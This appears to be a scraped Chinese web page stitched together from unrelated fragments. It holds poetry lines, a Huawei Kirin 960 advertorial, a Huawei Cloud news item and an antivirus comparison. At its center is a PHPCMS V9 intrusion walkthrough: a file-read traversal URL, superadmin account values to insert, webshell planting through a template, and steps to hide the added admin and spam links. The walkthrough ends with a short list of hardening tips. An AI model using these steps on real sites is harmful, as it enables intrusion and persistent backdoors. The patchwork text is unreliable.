哪里有CEH的教程啊？
进来，进来吧，进来看看
小小的黑眼睛。
或在深夜间
孩子们穿跑过去，罂粟秆在摇晃。
流过阵阵水光的幻影
她的头后杂乱如草哈哈
服务器装什么软件 phpcms注入漏洞
本文利用了PHPCMS V9的两个漏洞，一个是读取任意文件漏洞，另一个是模版运行php脚本漏洞。使用到的工具：Navicat for Mysql/IE浏览器(建议使用代理)/湛蓝v9代码包（包含文中使用到的所有文件、代码和木马）
1、放置data.txt以备在目标站点读取并在目标站点生成PHP木马脚本使用。
例如将data.txt放置在yun.baidu.com/j0192/data.txt
2、通过v9漏洞获取配置信息（请参阅：phpcms V9最新读取站点任意文件漏洞http://skyhome.cn/phpcms/176.html）。
/index.php?m=searchc=indexa=public_get_suggest_keywordurl=asdfq=../../phpsso_server/caches/configs/database.php
3、通过v9系统漏洞获取到的数据库信息远程登陆目标站点数据库，在v9_admin和v9_sso_admin表中添加账号
username字段：admn
password字段：10203d4623c1957d041818196ff9822a
encrypt 字段：bGV22e
issuper 字段: 1
4、通过数据库添加管理员账号后使用以下用户名密码在后台登陆，然后修改当前用户密码。
用户名：admn
密码：123456
5、ctrl+a复制write.php全部内容粘贴进v9默认模版下的footer.html保存，然后点击footer.html的可视化运行该模版中的脚本，到此时就完成在目标站点生成木马脚本。
6、打开ifeng.com/caches/caches_template/default/wap/data.class.php
用户名：admin
密码：admin
7、隐藏新增加的管理员。
通过木马脚本上传替换/phpcms/modules/admin/admin_manage.php(默认匹配%admn%)，然后登陆目标站点后台查看管理员列表是否还有用户名为admn的超级管理员，如果没有则表明我们完成了新加管理员的隐藏。
8、隐藏新增加的关联链接
通过木马脚本上传替换/phpcms/modules/admin/keylink.php((默认匹配%skyhome%))
9、将目标网站的漏洞修复，以防其他黑客入侵。
通过木马脚本上传替换/phpcms/modules/search/index.php
防黑参考:
1、关闭数据库远程访问。
2、静态文件及附件等文件目录禁止执行权限。
3、脚本文件目录禁止写权限。
4、系统后台等重要目录限制IP访问。
5、及时关注开源系统官方补丁升级和乌云、sebug等漏洞发布平台，修复系统漏洞。
玩《阴阳师》用华为荣耀V9凭什么赢
当今智能手机及处理器市场新品层出不穷，产品更新速度快令人眼花缭乱。不过，频繁换新的产品并未在消费者的记忆里留下印象，反而是经典品牌机型让人久久难忘。经典之所以为经典，归根究底还是在于经典的智能手机不仅仅满足绝大多数人“看得到”要求，在“看不到”的地方想得更多、做得更好。譬如3G时代的经典智能手机iPhone4，至今还被津津乐道。那么，在高通、华为、三星争雄的高端处理器市场又会是怎样的情况呢？4月20日，在加博会上举行2017世界智能手机及移动终端产业大会上，华为麒麟960荣获产品技术进步奖金奖。麒麟960发布仅半年便获得行业内广泛认可，在性能、续航、通信和安全等方面满足绝大部分人的需求，但它能否想到更多、做得更好呢？高性能，源于对速度的激情天下武功唯快不破，手机流畅，性能决定。不夸张地说，手机SoC的CPU是决定整机流畅体验的基础。回顾上一代产品，麒麟950/955的CPU水准完全超越同期的高通810，且功耗和发热更低;麒麟960在此基础上不断突破，首发商用A73大核，采用4*A73(2.4GHz)+4*A53(1.8GHz)的8核big.LITTLE架构，CPU能效提高15%。根据权威评测软件Geekbench的跑分数据，我们可以看到无论是单核性能还是多核性能，麒麟960的CPU性能均领先同期的高通821和三星8890，性能着实强劲。得益于强大的硬件基础和麒麟960本身对安卓底层的优化，你会明显感受到搭载麒麟960的华为Mate 9打开应用速度就是快、抢红包就是快。媒体用iPhone 7 Plus、华为Mate 9、三星S7 edge同时抢红包，三个回合华为Mate 9均成功拿下第一，率先抢到红包。此外，身边使用华为Mate 9的反馈，使用华为Mate 9抢购秒杀的成功率都很高，这样的高性能体验确实让很多人满意。不仅CPU性能强劲，麒麟960还持续在GPU方面不断打磨。根据木桶理论，最短板往往决定整体的极限值。众所周知，上几代麒麟芯片的CPU性能已经达到主流水平，但GPU图像性能方面确实处于“奋力追赶”的状态。本次麒麟960的 GPU采用Mali-G71 MP8，主频达到900MHz;更率先支持最新Vulkan图形标准，一举实现弯道超车。从鲁大师对移动GPU性能的测试中可以看到，高通820/821的Adreno 530在2D图形处理性能上略胜麒麟960获得第一。不过在3D图形处理性能方面，麒麟960的Mali-G71 MP8以56596分获得第一，体现出麒麟960出色的GPU性能。搭载麒麟960的荣耀V9在大型3D手游《阴阳师》的体验中，游戏几乎全程保持满帧运行，体验相当酣畅淋漓;而在另一家热门手游《王者荣耀》的体验中，基本也能保持稳定在50+fps高帧率的状态，5V5对战十分流畅、相当过瘾。此次，麒麟960迎头赶上，实现弯道超车，正是华为麒麟团队不断努力的结果。砥砺前行，勿忘初心，让麒麟960的GPU成为华为麒麟芯片系列的经典代表案例。i6常感知处理器，对长续航的坚持性能，我所欲也;续航，亦我所欲也。用户对手机的要求，不仅要性能强劲、体验流畅，还要待机和使用时间长。有些旗舰处理器一味追求性能、强调跑分，实际使用时却由于功耗高、发热明显，不得不限频，大大影响了用户体验，这绝非麒麟希望的效果。麒麟芯片从诞生之初就坚持高性能与长续航平衡的设计理念。从第一代处理器麒麟910开始就坚持采用集成度更高、能效比更优的SoC架构，并率先在麒麟920芯片上采用异构8核big.LITTLE架构，完美地将4个高性能核和4个低功耗核结合并无缝切换，解决了高性能和低功耗之间的平衡问题，大幅提升性能的同时，延长了电池使用时间。同时，在麒麟处理器上还集成了自研智能感知处理器，持续采集来自加速计、陀螺仪、指南针和接近光传感器等的运动数据，以极低的功耗运行，使得一些智能应用可以在待机状态下一直运行。就拿全天开启计步器功能来说，拥有常感知处理器的华为Mate 8，使用一天半没问题，其他品牌手机的电量能达到一天多充。本次麒麟960升级为i6常感知处理器，内存增加了30%，数据处理能力更强，自然可以省下更多大核的电。就拿计步器来说，功耗下降足足40%。这正是华为麒麟芯片对长续航不断坚持的结果，不得不佩服。全网通信，技术底蕴说起华为手机，总能想起和同事进入偏远山区的时候，手上的华为手机依旧能收到信号而同事的国际品牌已然无服务。似乎「信号好」「网速快」成为华为手机的代名词，特别是移动上网办公需求日益旺盛的今天，我们对于信号和通话的要求更高。比起三星、苹果，通信起家的华为在基带方面的专利转化和技术底蕴无疑更胜一筹。作为2016年度经典处理器，麒麟960支持四载波聚合(4CC CA)/双载波聚合(2CC CA)+4天线(4*4 MIMO)技术，峰值下载速率高达600Mbps。使用麒麟960 4*4 MIMO的手机(简单来说就是支持4天线技术的手机)，信号好的时候，上网速率是其它手机的2倍;即使在弱信号的场景下，由于4天线技术信号接收能力更强，仍然能比其他手机上网速度快。手持华为P10 Plus系列的你，可以来感受一下比别人快一倍的上网速度的快感。还有一点值得提的是，麒麟960通过自研解决了CDMA的技术难题，打破了高通技术垄断的壁垒，支持全球频段任意切换，成为麒麟系列第一款支持全网通的高端处理器。三星猎户座、苹果A系列芯片基带依赖高通，受到掣肘也是难免;华为麒麟芯片自主权无疑更高，其自主研发全模Modem有赖于华为丰富的技术底蕴，是29年的厚积薄发。此外，依托于华为技术底蕴，麒麟芯片还开发出天际通、高铁模式等实际场景中使用频率很高的功能，深受经常出国、出差的商务人士的青睐。安全经典，精益求精如果说，麒麟960的通信经典与华为技术底蕴密不可分，那么，安全经典的打造，是华为麒麟对于用户信息安全的精益求精。手机已经高度集成我们的个人信息，再怎么安全都不足为过。不夸张地说，前几代麒麟芯片产品已经是同时期最安全的手机。比如，已经很流行的伪基站防御功能，最早就是由华为麒麟芯片提出、设计和开发的，并申请了相关专利。与其他伪基站防御方案不同，麒麟芯片能够从手机芯片底层识别出伪基站，拒绝与伪基站通信，从而保护手机用户们的通信安全。在2016年中国互联网大会，麒麟950/955芯片的防伪基站功能就被评为“2016网民权益保护创新优秀案例”。麒麟芯片团队坚持认为用户安全无小事，目标是打造最安全的手机芯片。在前几代安全方案的基础上，麒麟960更进一步，提出可信联接的概念，对人与手机、手机与手机之间的联接进行全面保护。为了更好地保护用户移动支付安全，解决当前智能手机安全性不足问题，麒麟960创新性地将安全引擎集成在手机主芯片内。与软件安全方案和其他分离的芯片安全方案相比，麒麟960的内置安全引擎方案具有更高的安全性，它的主芯片就是安全芯片，黑客无法通过替换安全芯片的方式破坏手机安全，从根本上保证了手机安全。麒麟960更得到了央行和银联双重安全认证，成为全球首款达到金融级安全的手机芯片。总结开篇曾提：经典之所以为经典，归根究底还是在于经典不仅仅满足绝大多数人“看得到”要求，在“看不到”的地方想到更多、做得更好。华为麒麟960在“长续航和高性能”这“看得到”的方面满足绝大部分人的需求，更在“通信和安全”等“看不到”的地方，做得更好，打造全球快速通信和金融级安全。自去年10月发布至今，麒麟960凭借出色的性能与完美的用户体验获得了行业和消费者的一致认可。在2016年世界互联网大会上，被大会推荐为“世界互联网领先科技成果”。麒麟960成为2016年度经典处理器，实至名归。麒麟芯的强大也是华为手机持续发展和进步的重要支撑，搭载麒麟960的华为Mate 9、P10等旗舰机型系列也是在市场上大放异彩，现在正是麒麟960生命周期的成熟期，我们也相信这颗经典处理安卓芯能在智能市场上绽放更多的光辉。
三个月时间没到，华为云业务组织架构发生了什么变动？
华为内部发文任命张平安为 Cloud BU 总裁，同时取消云与计算BG,更名为"Cloud BU"，该部分直接向ICT基础设施业务管理委员会汇报。
avast5、小红伞V9、nod32哪个好用？
2楼的说法比较专业，不过也有过时的地方。
单就防火墙而言，ZA确实不错，但是，现在的防火墙都讲究3D、4D，比如COMODO、风云，都有较好的HIPS。ZA占资源过多，HIPS上也不出名。评价已经没那么高了。
小红伞的查杀率很高，对不正规文件，比如绿化文件、注册机之类的误报较多。正规文件，误报还好，偶尔小猫2、3只。
NOD32在国内的查杀率还不错，低于小红伞。AVAST的查杀率没有前2个那么稳定，不过也还可以。
至于防毒，小红伞免费版的监控功能较少，不过很灵敏，问题也不大。AVAST的防护很出名的。NOD32的病毒库小了点，防网页挂马效果似乎还有待提高。
至于套装，防火墙。小红伞的套装一般没人用的，而且也没必要买。具体详情不太了解。反正，在国外，说起一流的防火墙，起码不会有这3个。也就是说，最多也就是中等的防火墙吧。
占资源都不多。AVAST可以只安装系统监控和网页监控，占资源就少了。小红伞的虚拟内存占用稍高，NOD32最新版的物理内存占用稍高。